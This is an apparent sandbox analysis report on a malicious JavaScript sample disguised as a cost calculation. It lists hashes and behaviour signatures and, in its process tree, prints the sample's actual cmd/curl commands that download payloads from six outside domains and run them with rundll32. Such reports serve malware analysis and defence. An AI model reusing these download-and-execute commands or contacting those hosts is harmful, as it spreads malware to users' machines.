Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
27s -
max time network
30s -
platform
windows7_x64 -
resource
win7-20230220-de -
resource tags
arch:x64arch:x86image:win7-20230220-delocale:de-deos:windows7-x64systemwindows -
submitted
07/06/2023, 18:07
Static task
static1
Behavioral task
behavioral1
Sample
Calculation-of-costs-874028386.js
Resource
win7-20230220-de
Behavioral task
behavioral2
Sample
Calculation-of-costs-874028386.js
Resource
win10v2004-20230221-de
General
-
Target
Calculation-of-costs-874028386.js
-
Size
149KB
-
MD5
fb5b4219a7a47effe058b4a5e7e48a6c
-
SHA1
421dd44ba85cb8278b7326b2c35d1078a375f79b
-
SHA256
5b2290e985718dcb2b9ed3a4ea6f4982c9db96a9ac7d20e7ee8d11f4d1e0a94a
-
SHA512
890e04f3efab155556b1dbe996d79687e64904881741e52707188c5bf513997fae904765b047c0e54e5c7774d12fab8cf9a0e73434f928ac9333ae585483974d
-
SSDEEP
3072:gRzeIwVOOpMRgFAzMeTluFzdYfoJ+v9oh:B6Op/FanTluFzdYf7Sh
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 1 IoCs
pid Process 1180 timeout.exe -
Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 296 wrote to memory of 1816 296 wscript.exe 28 PID 296 wrote to memory of 1816 296 wscript.exe 28 PID 296 wrote to memory of 1816 296 wscript.exe 28 PID 296 wrote to memory of 500 296 wscript.exe 30 PID 296 wrote to memory of 500 296 wscript.exe 30 PID 296 wrote to memory of 500 296 wscript.exe 30 PID 296 wrote to memory of 828 296 wscript.exe 32 PID 296 wrote to memory of 828 296 wscript.exe 32 PID 296 wrote to memory of 828 296 wscript.exe 32 PID 296 wrote to memory of 1616 296 wscript.exe 34 PID 296 wrote to memory of 1616 296 wscript.exe 34 PID 296 wrote to memory of 1616 296 wscript.exe 34 PID 296 wrote to memory of 1724 296 wscript.exe 36 PID 296 wrote to memory of 1724 296 wscript.exe 36 PID 296 wrote to memory of 1724 296 wscript.exe 36 PID 296 wrote to memory of 1872 296 wscript.exe 38 PID 296 wrote to memory of 1872 296 wscript.exe 38 PID 296 wrote to memory of 1872 296 wscript.exe 38 PID 296 wrote to memory of 592 296 wscript.exe 40 PID 296 wrote to memory of 592 296 wscript.exe 40 PID 296 wrote to memory of 592 296 wscript.exe 40 PID 592 wrote to memory of 1180 592 cmd.exe 42 PID 592 wrote to memory of 1180 592 cmd.exe 42 PID 592 wrote to memory of 1180 592 cmd.exe 42 PID 592 wrote to memory of 2004 592 cmd.exe 43 PID 592 wrote to memory of 2004 592 cmd.exe 43 PID 592 wrote to memory of 2004 592 cmd.exe 43
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\Calculation-of-costs-874028386.js1⤵
- Suspicious use of WriteProcessMemory
PID:296 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://skagnechri.com/0.34899733014845713.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX2⤵PID:1816
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://maicobbbi.com/0.6013654457759208.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX2⤵PID:500
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://yerkaija.com/0.03298715274427777.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX2⤵PID:828
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://glovitol.com/0.9651502297082507.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX2⤵PID:1616
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://vitcaka.com/0.7000805230969773.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX2⤵PID:1724
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir C:\Poliset\Nolser & curl https://lauconisc.com/0.9380485461932972.dat --output C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX2⤵PID:1872
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX,menu2⤵
- Suspicious use of WriteProcessMemory
PID:592 -
C:\Windows\system32\timeout.exetimeout 103⤵
- Delays execution with timeout.exe
PID:1180
-
-
C:\Windows\system32\rundll32.exerundll32 C:\Poliset\Nolser\file.OOOOOCCCCCXXXXX,menu3⤵PID:2004
-
-